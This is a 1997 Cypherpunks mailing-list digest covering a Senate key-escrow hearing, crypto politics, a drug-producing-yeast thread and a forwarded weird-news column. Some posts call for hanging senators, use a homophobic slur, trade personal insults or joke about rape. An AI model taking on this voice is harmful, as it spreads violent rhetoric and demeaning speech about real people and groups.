Date: Thu, 10 Jul 1997 11:21:55 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707100255.VAA07163@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   navigation 
   
   
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            OPEN MICROPHONE CATCHES CHRETIEN'S CRITICISM OF CLINTON
                                       
     Chretien Dehaene July 9, 1997
     Web posted at: 9:10 p.m. EDT (0110 GMT)
     
     From Senior White House Correspondent Wolf Blitzer
     
     MADRID, Spain (CNN) -- Canadian Prime Minister Jean Chretien,
     apparently unaware that he was talking into an open microphone, was
     videotaped Wednesday making some rather undiplomatic comments about
     Bill Clinton, joking that the U.S. president formed his position
     about NATO expansion because he thought it would win votes at home.
     
     Chretien's remarks were caught on videotape as he talked with
     Belgian Prime Minister Jean-Luc Dehaene and Luxembourg's Prime
     Minister Jean-Claude Juncker before a NATO meeting in Madrid.
     
     Apparently unaware the microphone in front of him was on, Chretien
     bragged that his country does not let the United States dictate its
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     "In your country, in my country, all the politicians would be in
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     He also said Clinton was in favor of inviting Poland, Hungary and
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     Speaking in French, the Canadian prime minister said: "It's not
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     The three leaders laughed as they waited for the Clinton and his
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     Juncker asked, "And if we started without them?"
     
     "To prove that we know what to do without them," Dehaene added.
     
     "To prove we're independent. He (Chretien), he's used to not doing
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     "I make it my policy," Chretien said. "But it's popular. The Cuba
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     The three leaders chuckled among themselves.  
     rule CNN Plus 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 10 Jul 1997 13:03:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Cast of Characters for Crypto Politics (Judiciary Hearing)
In-Reply-To: <v0300780aafea022b2902@[168.161.105.191]>
Message-ID: <v03102803afea1a736f3a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:06 PM -0700 7/9/97, Declan McCullagh wrote:

>Here's a cast of characters from today's hearing...

Except maybe for Ashcroft--and it may be too soon to tell about him--the
rest have just shown their expected colors. I say we just hang them all and
be done with it.

...
>SEN. PATRICK LEAHY (D): The Senate's supposed defender
>of crypto-freedom was at best a milquetoast one today.
...

Many of us warned long ago that Leahy was no friend of liberty, despite his
soothing comments at the SAFE forum last summer. His support of other
statist policies makes him just another fool on the Hill.

...
>SEN. BOB KERREY (D): Perhaps gaining confidence in his
>political backing, Sen. Bob Kerrey spoke at length
>about the dangers of uncontrolled *domestic* use of
>crypto. "The current law is unacceptable. The status
>quo is unacceptable," he said. At one point he talked
>about scrapping any legislative changes to export
>rules -- and focusing instead just on domestic crypto
>and domestic key escrow.

A law to ban domestic use of strong crypto is coming. All it will take is
some horrific incident--another bombing in a building, another Dahmer case,
etc., where crypto is involved in any way. This will be the catalyst for
the outlawing of unapproved crypto.

The Supreme Court may or may not then overturn such a ban. (To most of us,
of course, the free speech issues are crystal clear: no law may dictate the
form of speech, especially when no issues of "interstate commerce" or
"obscenity" are anywhere in sight. To make felons out of those who write in
code in their electronic journals is something even Orwell seems to have
missed. Though in Orwell's case I suppose it was because the keeping of
journals was itself a crime, one Winston was able to hide due to the layout
of his room. One wonders when Kerrey, Clinton, and McCain will think of
banning journals except when copies are deposited weekly at the Diary
Recovery Agency.)

...
>SEN. JOHN KYL (R): Criticized Kerrey for being too
>moderate. "My own view is that the legislation does
>not go far enough," Sen. Kyl said of the McCain-Kerrey
...

The competition to outdo the others is beginning, signalling the usual
stampede toward the passage of a bill.

>SEN. DIANNE FEINSTEIN (D): Said "I would echo Sen.
>Kyl's concerns." Noted she represented a high-tech
...

Always the lug nut.

They all deserve what they get.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 11 Jul 1997 03:45:01 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707100510.WAA13559@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy Mayhem's father, an idiot, stumbled across Timothy Mayhem's mother, an 
imbecile, when she had no clothes on. Nine months later she had a little moron.

   ----
  '@  *> Timothy Mayhem
  |\   7
 / `-- _





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 10 Jul 1997 13:28:36 +0800
To: cypherpunks@cyberpass.net
Subject: Recreational pharmaceuticals by genetic engineering
Message-ID: <v03102807afea1f8f0451@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I know this is off-topic for the list...

But why hasn't some cleaver graduate student engineered a common mold or
yeast to yield easily extracted (or directly ingestible) common
recreational pharmaceuticals?  Ideally it would be a perpetual source, like
sour dough starter, and easily cultured.  Once distributed to the street it
would be impossible to stop or track (since no controlled chemicals would
be required for production).

--$teve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 10 Jul 1997 11:37:02 +0800
To: mwohler@ix.netcom.com (Marc J. Wohler)
Subject: Re: can i join
In-Reply-To: <3.0.16.19970707115957.44179a86@popd.ix.netcom.com>
Message-ID: <199707100336.WAA00231@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> At 10:37 PM 7/6/97 -0500, you wrote:
> >Drifter0@aol.com wrote:
> >> thanx
> >   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
> >proper procedures.
> I got some chuckles from your  'Flame Form' and sympathize with view
> expressed therein.
> However:
> How do you propose that we get our import  message of strong crypto
> awareness out to the clueless if we display elitism, impatience and
> intolerance to their ignorance?

	Easy. Everyone wants to be at least considered part of the elite.

	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 10 Jul 1997 11:44:37 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <24eH0D4w165w@bwalk.dm.com>
Message-ID: <199707100339.WAA00249@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> Tim, I'm not having any "problems" with bwalk (the only computer with the
> modem - others are in no way connected to the internet for security reasons)
> I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
> before I add NT 4.0.

	I'd say that is a problem. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 10 Jul 1997 14:01:40 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <3.0.2.32.19970709224723.0073e670@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:21 PM 7/9/97 -0700, Steve Schear wrote:
>I know this is off-topic for the list...
>
>But why hasn't some cleaver graduate student engineered a common mold or
>yeast to yield easily extracted (or directly ingestible) common
>recreational pharmaceuticals?

Its a bit of work, but certainly doable. Interesting idea.

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 10 Jul 1997 11:58:41 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: [MILCOM] NSA: struggling with diversity ...
In-Reply-To: <199707080601.IAA14197@basement.replay.com>
Message-ID: <199707100400.XAA00403@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> We need a new agency, one to defend us against infowar, to help
> industrial competitiveness, to assist Americans in retaining their
> freedoms rather than attempting to strip them away for its own evil
> purposes.  Let us hope that the changing of the guard at the NSA will

	WE are that agency.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 10 Jul 1997 11:25:21 +0800
To: cypherpunks@toad.com
Subject: Cast of Characters for Crypto Politics (Judiciary Hearing)
Message-ID: <v0300780aafea022b2902@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



The Senate Judiciary committee today heard testimony on
key escrow, particularly the "Secure Public Networks
Act" (S. 909) introduced last month. The Senate
Commerce committee on June 19 approved the bill,
backed by Sen. Bob Kerrey and Sen. John McCain, which
would create a national key escrow infrastructure.
Pro-encryption legislation is dead in the Senate;
McCain-Kerrey has taken its place.

Here's a cast of characters from today's hearing...

SEN. ORRIN HATCH (R): Asked what PGP stood for. Hatch,
who chaired the hearing, said "one would expect the
executive branch to lead" on such an important issue
but "the Clinton administration has been all over the
map." Said it's time for Congress to seize the debate,
that it's already "acting as a broker for these
competing interests" and the Senate Judiciary
committee in particular "must serve as a forum for
open debate in this area."

SEN. PATRICK LEAHY (D): The Senate's supposed defender
of crypto-freedom was at best a milquetoast one today.
During his opening remarks, he refrained from
criticizing bills to encourage key recovery; in fact,
he argued that *he's* been pushing key recovery bills
far longer than anyone else. ("There has been _one_
key recovery bill pending in the Senate in the last
Congress and for most of this one. That is the ECPA,
which I introduced...") Spoke against the
McCain-Kerrey bill not on broad, philosophical grounds
but on narrower grounds such as awarding too much
discretionary power to the Commerce Secretary.

SEN. CHARLES GRASSLEY (R): Tried to paint himself as
someone who understands the dangers of government
power by noting he joined many Republicans in opposing
roving wiretaps last summer, but then spoke darkly of
pedophiles armed with crypto. "Encryption is hindering
the investigation of chid sex offenders," Grassley
warned. He told how Colorado police couldn't break
into a teen's password-protected electronic organizer
where incriminating information might be stored. His
continuing fixation on child molesters shone through
today, as it did two years ago at a hearing for his
Net-censorship bill. He concluded: "How many child
molesters should go free because of encryption?"

SEN. BOB KERREY (D): Perhaps gaining confidence in his
political backing, Sen. Bob Kerrey spoke at length
about the dangers of uncontrolled *domestic* use of
crypto. "The current law is unacceptable. The status
quo is unacceptable," he said. At one point he talked
about scrapping any legislative changes to export
rules -- and focusing instead just on domestic crypto
and domestic key escrow.

SEN. JOHN KYL (R): Criticized Kerrey for being too
moderate. "My own view is that the legislation does
not go far enough," Sen. Kyl said of the McCain-Kerrey
bill. He said he was concerned about *any* changes to
export controls and wanted to keep the status quo. "I
don't want to be sitting up here and to have law
enforcement officials say to us you had the
opportunity to protect American lives and you didn't
do it," Kyl said. Tossed easy lobs to FBI Director
Freeh, who batted them out of the park.

SEN. DIANNE FEINSTEIN (D): Said "I would echo Sen.
Kyl's concerns." Noted she represented a high-tech
state but still was concerned about the uncontrolled
spread of encryption. Said to Freeh: "You've made a
clear and compelling case for key recovery. If it was
understood by the American people, they'd be
supportive." Followed up on Grassley's point about the
passworded organizer by asking Kerrey, "Without
revealing the classified briefing you participated in
and we have recently, what's puzzling me is that the
Colorado law enforcement doesn't have any recourse to
be able to break into a system." She said she thought
that the FBI could tunnel into such a device, but FBI
director Louis Freeh shook his head no.

SEN. JOHN ASHCROFT (R): Emerged as a staunch
crypto-defender. Asked Freeh why, if 56-bit crypto was
good enough for the general public, did the
administration allow banks to export 128-bit crypto?
Told Freeh, "Your presumption is that law breakers
will use key recovery systmes that are voluntary."
Argued that "there's no need for us to pass
legislation [on key recovery]... this is something to
which the market is responding." Wondered why the Cali
Cartel would use crypto with backdoors for the Feds.
Dismissed arguments about other countries' crypto
restrictions by saying: "So we have a whole bunch of
other comuntries without the commitment to civil
liberties we have." Controlling crypto is tricky
because "we're in a universe that's dynamic," he said.
"It seems to me that with our marketplace using
128-bit, we ought to be very careful about saying we
can consume it, we can use it, but we can't export
it." Landed a solid blow when he questioned how the
"crypto-in-a-crime" provision would work if someone
encrypts their tax data and is found guilty of a crime
later. "Is he guilty of a second crime because he
sought to protect the integrity of his tax returns
with encryption?"

More info:

  http://pathfinder.com/netly/opinion/0,1042,1022,00.html

  http://www.jya.com/declan3.txt

  http://www.jya.com/declan2.txt

  http://pathfinder.com/netly/editorial/0,1012,931,00.html

  http://www.well.com/~declan/fc/

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 10 Jul 1997 14:19:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <v03102804afea2bc2806e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:21 PM -0700 7/9/97, Steve Schear wrote:
>I know this is off-topic for the list...
>
>But why hasn't some cleaver graduate student engineered a common mold or
>yeast to yield easily extracted (or directly ingestible) common
>recreational pharmaceuticals?  Ideally it would be a perpetual source, like
>sour dough starter, and easily cultured.  Once distributed to the street it
>would be impossible to stop or track (since no controlled chemicals would
>be required for production).

You know, if Jim Bell was still contributing to the list, the chemist in
him would surely produce some posts on this.

Then, when the narcs and BATFags searched his house and found the
inevitable mold on the bread, the curdled milk, etc. (Jim is a bachelor,
and a computer person, so the mold, etc. is inevitable) they could add this
to the indictment.

And "The Oregonian" could breathlessly headline: "Drug-Producing Molds
Found in Home of Terror-Chemist."

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 10 Jul 1997 12:20:59 +0800
To: chk@utcc.utoronto.ca (C. Harald Koch)
Subject: Re: More on crypto from Bonn
In-Reply-To: <97Jul9.143005edt.11649@janus.tor.securecomputing.com>
Message-ID: <199707100419.XAA00486@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> In message <3.0.16.19970709093445.23d7be9e@pop.radix.net>, Donald Weightman writes:
> >         What's a "potential" terrorist? (Is the occasional apparent c'punx
> > paranoia justified?)
> 
> I also think it's particularly amusing that an American is lecturing a German
> about terrorism. Who has more experience with the subject, anyway?

	From which side?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 10 Jul 1997 05:43:59 +0800
To: cypherpunks@toad.com
Subject: News of the Wired
Message-ID: <199707092128.XAA16030@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Subject: 
             News of the Weird [486] - 30May97
by Chuck Shepherd

LEAD STORIES

* Ms. Courtney Mann, the head of the Philadelphia chapter of the
National Association for the Advancement of White People, who is
a tax preparer and single mother, was rebuffed in an attempt to join
a Ku Klux Klan-sponsored march in Pittsburgh in April, according
to the Pittsburgh Post-Gazette.  Though she has been in the
NAAWP for at least four years, the Pennsylvania KKK Grand
Dragon turned her down because Mann is black.  "She wanted me
to send transportation [for the rally]," said the Grand Dragon. "She
wanted to stay at my house [during rally weekend].  She's all
confused, man.  I don't think she knows she's a black."  

  And we have Kent Crispin. When's the trading deadline?

* April's annual religious fertility celebration in Nagoya, Japan,
designed to improve the rice harvest, featured as usual a 12-foot-
long, bright pink, plastic penis, carried through the street, followed
by displays of smaller organs and a giant banner of a blood-
vesseled penis, testicles, and pubic hair.  Souvenir candy of the
same shape was sold during the event, and at the end of a parade,
the giant organ was placed on the fertility shrine. 

  Don't they do the same thing in North Dakota?

* In mid-April, five weeks before the national elections, the
governing party in Indonesia announced, via "scientific
calculation," according to one leader, that President Suharto had
won re-election with 70.02 percent of the vote. 

  There's a standard joke in Mexico about thieves breaking into
a government office and stealing the results of next year's
election.

COURT DOCKET

* In February, Maryland circuit court judge Thomas Bollinger Sr.
agreed to wipe the record clean of Charles Weiner's spousal battery
charge after he completes probation--for the sole purpose of
helping Weiner join the Chestnut Ridge Country Club, which had
until then rejected him because of his criminal record.  (In 1993,
Bollinger gave a rapist probation for an attack against a drunken
woman, remarking that finding an unconscious woman on a bed
was "the dream of a lot of males, quite honestly.")  Four days later,
Bollinger reversed his decision and removed himself from all
domestic violence and sexual offense cases. 

  Hey! Everyone _knows_ that "snoring" implies consent!

* In Santa Cruz, Calif., in February, Mr. Danis Rivera, 25, rejected
a plea bargain that would have sent him to prison for one year for
having sex with underage girls.  However, at his trial he was in
such a foul mood that he constantly spit at court personnel and
finally had to be outfitted with a Hannibal Lecter-type bonnet over
his face.  He was convicted and sentenced to 16 years in prison. 
And in a Providence, R. I., courtroom in April, Latin King gangster
George "Animal" Perry, on trial for murder and racketeering and
frustrated at the length of the prosecutor's closing argument, which
denied him a much-needed restroom break, rose from his chair,
unzipped his fly, and took one, anyway. 

  It seems reasonable that if one petitions the court for relief,
and is denied, then the only recourse is to relieve oneself.

SCHEMES

* St. Charles Catholic Church (Picayune, Miss.) and nearby St.
Margaret Mary Church (Slidell, La.) posted security ushers at the
doors in February to make sure that parishioners were not
pocketing communion wafers.  Devil-worshiping ceremonies often
use wafers for symbolic desecration, and when six people were
seen leaving St. Charles in December with their wafers, the
churches' leaders began to fear a local Satanic conspiracy. 

  Nonsense. They were probably just trading them for drugs and
child pornography.

* In April in Houston, Tex., Robert Perry Russell, Jr., 44, was
sentenced to 20 years in prison for sexual assault and diapering of a
14-year-old boy, but police say the number of victims may have
been as many as 10.  According to police, Russell liked to take
boys out in a boat, tell them a tale about a headless killer seeking to
rescue a toddler from the dangerous lake and who kills all other
people, and suggest that putting on the diapers he happens to have
with him would be a good way, should the killer appear, of
convincing him of his toddler status. 

  And, as compensation for their pain and suffering, the victims
accepted the deed to Russel's prime real estate in Florida and
a bridge in the New York area.

DANGEROUS ACTIVITIES

* Dishwashing:  In March, a busboy at a Key West, Fla., Marriott
resort allegedly shot and killed a supervisor who had apparently
made some constructive criticism of the busboy's loading of the
dishwasher.  And in May, police in Helena, Ark., detained a 15-
year-old boy they suspect shot his older sister to death after a
dispute over which one would wash the dishes. 

  I'll wash, you die.

==============================

ADMINISTRATIVE NOTICES
[Except for the last paragraph, giving a new, alternative address
for Chuck Shepherd's CompuServe mailbox, these notices
unchanged since December 27, 1996]

NEWS OF THE WEIRD, founded in 1988, is a nationally syndicated
newspaper column distributed by Universal Press Syndicate.
Individuals may have the columns mailed to them electronically,
free of charge, approximately three weeks after the cover date,
which is the date when most subscribing newspapers will publish
the column.  Send a message to notw-request@nine.org with the
Subject line of Subscribe.  To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)

COPYRIGHT:  Neither the name News of the Weird nor any
issue of News of the Weird nor any portion of any issue of News
of the Weird may be used for any commercial purpose
whatsoever.  One example of such prohibited use is to use part or
all of an issue of News of the Weird as material on a commercial
Web page or on a commercial message.  ("Commercial" includes
Web sites or messages that contain any paid or bartered
advertising.)  If a Web site or message contains utterly no
commercial content, and it is freely accessible by the public with
no fee charged, portions of News of the Weird may be used
without prior permission provided that the portion(s) is(are)
accurately quoted and identified on the Web site or message as
from News of the Weird and this copyright notice is affixed at
some point:  Copyright 1997 by Universal Press Syndicate.

BOOKS BY CHUCK SHEPHERD:  The Concrete Enema and
Other News of the Weird Classics by Chuck Shepherd (Andrews
and McMeel, 1996, $6.95) is now in bookstores everywhere. 
Or you can order by mail from Atomic Books, 1018 N.
Charles St., Baltimore MD 21201 (add $2 postage for the first
book, $3 for two to the same address, $4 for 3, and $5 for more
than 3) (credit card orders 1-800-778-6246,
http://www.atomicbooks.com).  Or by credit card  from
Andrews and McMeel, 1-800-642-6480 (they bill $2 postage per
book).  Also by Chuck Shepherd and available at only the larger
bookstores in America:  News of the Weird (Plume Books, 1989,
$9), More News of the Weird (Plume, 1990, $9), Beyond News
of the Weird (Plume, 1991, $9), and America's Least Competent
Criminals (HarperPerennial, 1993, $9).  (The 1989, 1990, and
1991 books were co-authored with John J. Kohut and Roland
Sweet.)

HARDCOPIES:  The weekly newspaper columns, as well as
Chuck Shepherd's weird-news 'zine View from the Ledge (now
in its 16th year) are available in hardcopy, but unlike with
cyberspace, they're not free.  Send a buck for sample copies to
P. O. Box 8306, St. Petersburg FL 33738.

AUTHENTICITY:  All news stories mentioned in News of the
Weird are from news stories appearing in daily newspapers in the
U. S. and Canada (or occasionally, reputable daily newspapers in
other countries or other reputable magazines and journals).  No
so-called supermarket tabloid, and no story that was not intended
to be "news," is ever the source of a News of the Weird story. 

ADDRESSES:  To send mail and messages to Chuck Shepherd,
write Weird@CompuServe.com or P. O. Box 8306, St.
Petersburg FL 33738.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 10 Jul 1997 15:28:30 +0800
To: cypherpunks@Algebra.COM
Subject: Cypherpunks cap?
Message-ID: <3.0.2.32.19970710002139.006d932c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anybody know who might be willing to sell one of the old Cypherpunks
baseball caps? I need one for an outfit I am putting together.

Thanks,
--Lucky
--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:48:39 +0800
To: cypherpunks@toad.com
Subject: Re: A really  meaningfull upgrade
In-Reply-To: <3.0.32.19691231190000.006a08e4@pop.netaddress.com>
Message-ID: <L9ZL0D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Casey Iverson <iverson@usa.net> writes:

> At 12:49 PM 7/9/97 EDT, THE RUSSIAN  SCUM BAG, DISSEASED RIDDEN ASS HOLE
> VULIS
>  gives us an an example of his KGB inspired humor:
>
> >Have you tried complaining to the European Envelope manufacturers
> >association in Switzerland???
>
> C.I.
>

That's what Black Unicorn's signature recommends.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:44:34 +0800
To: cypherpunks@toad.com
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <854L0D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear <azur@netcom.com> writes:

>
> I know this is off-topic for the list...

it's somewhat on-topic.

> But why hasn't some cleaver graduate student engineered a common mold or
> yeast to yield easily extracted (or directly ingestible) common
> recreational pharmaceuticals?  Ideally it would be a perpetual source, like
> sour dough starter, and easily cultured.  Once distributed to the street it
> would be impossible to stop or track (since no controlled chemicals would
> be required for production).

My understanding is that access to the eq needed for such hacking (or for
creating various harmful little bugs) is already very tightly watched.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FreeLSD <freelsd@lsd.telekom.ru>
Date: Thu, 10 Jul 1997 09:52:32 +0800
To: cypherpunks@toad.com
Subject: circ-1.0.4: RSA and 3DES for IRC
Message-ID: <199707100137.FAA02160@lsd.telekom.ru>
MIME-Version: 1.0
Content-Type: text/plain



        Announcing: Circ 1.0.4 -- RSA and 3DES for Internet Relay Chat!

        Circ is an IRC script and C program which allows for secure
conversations over Internet Relay Chat (IRC).  It has been designed for
ircII, but may work (with help) on other clients as well.
        'al' wrote circ 1.0, but this is more advanced.  Much is fixed,
but multiuser channel-chat is temporarily broken.  If you still use circ,
you should switch, and your old keys will still work, but Circ 1.0.4 and
circ do not talk together very easily. 
        It uses AT&T truerand library, Martin Nicolay's RSA-Verfahren,
and D3DES.  It is licensed under the GNU GPL.

ftp://ftp.usr.msk.ru/pub/circ/circ-1.0.4.tar.gz

        If you run a cryptography information site, feel free to link this
URL.

Chris
chris@ftp.usr.msk.ru





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 11 Jul 1997 03:37:00 +0800
To: cypherpunks@toad.com
Subject: Domain names and "The Network $olution", from The Netly News
Message-ID: <Pine.GSO.3.95.970710074836.17488N-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





***********

http://pathfinder.com/netly/opinion/0,1042,1155,00.html

The Netly News Network (http://netlynews.com)
July 10, 1997

The Network $olution
by Declan McCullagh (declan@well.com)

        It could have been the perfect way to liberate the Net from the
   much-reviled monopoly of Network Solutions Inc., the company that
   handles almost all U.S. domain name registrations. Backed by
   well-regarded groups such as the Internet Society, the seven-page
   proposal promised to reduce prices, increase choices -- and best of
   all, really put the screws to everyone's least favorite domain name
   registrar.
   
        But a month before the curtain is set to lift on a host of new
   domains to supplement .com and .org, the ambitious plan suddenly seems
   as doomed as the recently extirpated Communications Decency Act. Not
   only did just one government, Albania, sign the "Memorandum of
   Understanding" (MoU), but the U.S. actively opposed it. So did Network
   Solutions, after they realized with gut-wrenching dismay the
   consequences of losing their lucrative monopoly on .com.
   
        Yesterday another group of MoU critics met in Washington to form
   the Open Internet Congress, which hopes to wrest control of Net
   governance from "hobbyists" and "volunteers" and haul it into the
   mainstream. "I don't want a bunch of volunteers playing around and
   trying to run the show. I don't want petty battles over who's in
   charge and who's keeping the lights on," says Andrew Sernovitz, the
   president of the Association for Interactive Media, which organized
   the summit. Sernovitz envisions a ruthlessly commercialized cyberspace
   that's safe for companies like IBM, Intel, NBC and Time Warner
   (Netly's corporate big brother) that cough up $9,000 a year to be
   governing members of AIM.
   
        The talk yesterday was of revolution. Sernovitz spoke about
   holding an Internet "Constitutional Convention" this fall. He passed
   out supportive columns quoting from "Common Sense" by Thomas Paine. I
   even heard folks call the MoU the move that will spark the online
   equivalent of the Boston Tea Party. (Led, presumably, by firms like
   Time Warner? Since that media giant also owns CNN, you can be sure the
   revolution will indeed be televised.)

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 10 Jul 1997 21:18:30 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Gene Engineered Drug Production
Message-ID: <199707101252.HAA08005@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

The topic of producing recreational pharmacuticals via gene engineered
organisms is an interesting topic and one we discussed at least briefly 3-4
years ago. Might be worth reviewing the archives.

There are some issues that I believe have kept this from being a commen
practice:

 *  Other than Marijuana and Cocaine most of the street pharmacuticals
    base chemicals take too much post-production to get them to a
    usable result. Either the process is something without an analog
    in the cellular systems or else it requires chemicals that don't
    occur in nature in great quantities and are such that you wouldn't
    want it produced inside the person taking the material.

 *  Marijuana's complete gene map has only been available for a little
    over 2 years.

 *  Educational and commercial institutions are not going to allow those
    with access either time or supplies to complete the project.

 *  The LEA's and drug cartels would hunt the original designer(s) down
    and most likely terminate with extreme prejudice. You would be taking
    money from their mouths (so to speak).

 *  Currently there is no country who has a legal structure such that they
    would be an acceptable haven.

 *  Where's the profit? The person who creates it most definitely will not
    get rich. Just imagine filing your patent app.

 *  E. coli or cooking yeast seem to be the best target. Both are fully
    mapped and acceptable to human systems.

 *  In the case of Marijuana the chemicals produced by the genes are
    further processed and THC gets produced at this stage. This means
    the entire 2-tier process must be moved over. Neither yeast or
    E. Coli have this process in place (both being animals that isn't
    a surprise). This complicates the process greatly.

 *  We are just waiting for some bright sole who believes that not only
    should "information be free" but so should drugs and is willing to
    spend 20 years or so on the run.

 *  Regulation of production is a big unsolved problem. Assume for a
    moment that you have ingested some yeast that is producing TCH.
    How do you turn the regulation up or down? How do you keep the
    production from running away? Most drugs LD50 is simply way too
    low for such ad hoc regulation, drugs like TCH and LSD have
    ingestion levels of such magnitude that LD50 becomes a side issue.
    LSD would have a self regulating effect so it would be mediated
    irrespective of the level produced. THC on the other hand if not
    regulated would keep you in a sleepy daze most of the time.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:36:35 +0800
To: cypherpunks@toad.com
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102804afea2bc2806e@[207.167.93.63]>
Message-ID: <5Dkm0D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Then, when the narcs and BATFags searched his house and found the
> inevitable mold on the bread, the curdled milk, etc. (Jim is a bachelor,
> and a computer person, so the mold, etc. is inevitable) they could add this

I thought he lived with his parents?

---

Dr.Dimitri Vulis KOTM
